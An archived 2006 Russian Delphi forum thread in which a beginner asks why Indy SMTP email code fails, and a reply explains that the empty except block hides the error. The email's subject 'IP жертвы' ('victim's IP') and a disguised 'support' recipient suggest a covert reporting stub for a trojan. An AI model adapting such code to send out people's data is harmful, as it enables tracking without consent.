Форум: "Начинающим";
Текущий архив: 2006.03.26;
Скачать: [xml.tar.bz2];
ВнизОтправка письма. НУ НИКАК НЕ ХОЧЕТ!!! Найти похожие ветки
← →
Новочеркасский Волк © (2006-03-08 22:14) [0]Здравствуйте я пытаюсь отправить письмо на мыло через Delphi 6. И использую для этого следущий код:
procedure TForm1.Button1Click(Sender: TObject);
var
LSMTP: TIdSMTP;
LMsg: TIdMessage;
begin //Ну начинаем
LSMTP := TIdSMTP.Create(nil); //Создаемся
LMsg := TIdMessage.Create(LSMTP);
with LMsg do
begin
Subject :="IP жертвы"; // Здесь вводим тему
Recipients.EMailAddresses := "suport_service@inbox.ru"; // куда будет послано письмо...
From.Text :="odinokiy_volk@inbox.ru"; //От кудыкина будет письмо
Body.Add("Текст");
end;
with LSMTP do
begin
AuthenticationType:=atNone;
Host := "smtp.mail.ru";
Port :=25;
SocksInfo.Host:="odinokiy_volk@inbox.ru"; //здесь происходит авторизация(как в почтовом клиенте)
Password :="ХХХ";
try
Connect; //зухель коннект!!
Send(LMsg);
except
end;
end;
FreeAndNil(LMsg);
FreeAndNil(LSMTP);
end;
И он то отправляет всё нормально, то вообще не отправляет (что бывает на много чаще). Подскажите пожалуйсто где ошибка и чё не так???
---------------------------------------------
Заранее всем спасибо!!!
← →
Sergey Masloff (2006-03-08 22:41) [1]Ну так в except вставь что-то что запишет из-за чего облом. А так долго гадать будешь - замочил втихую исключение и доволен ;-)
Слышал о конторах где за except {тут ничего нет} end штрафовали сразу на 50 у.е. Хотя это зря - надо на 1 раз беседу а на второй увольнение по несоответствию занимаемой должности.
← →
Новочеркасский Волк © (2006-03-08 23:59) [2]Спасибо тебе Sergey Masloff ОГРОМНОЕ!!!! Всё стало на круги своя. Всё стало работать вроде.
Страницы: 1 вся ветка
Форум: "Начинающим";
Текущий архив: 2006.03.26;
Скачать: [xml.tar.bz2];
Память: 0.44 MB
Время: 0.043 c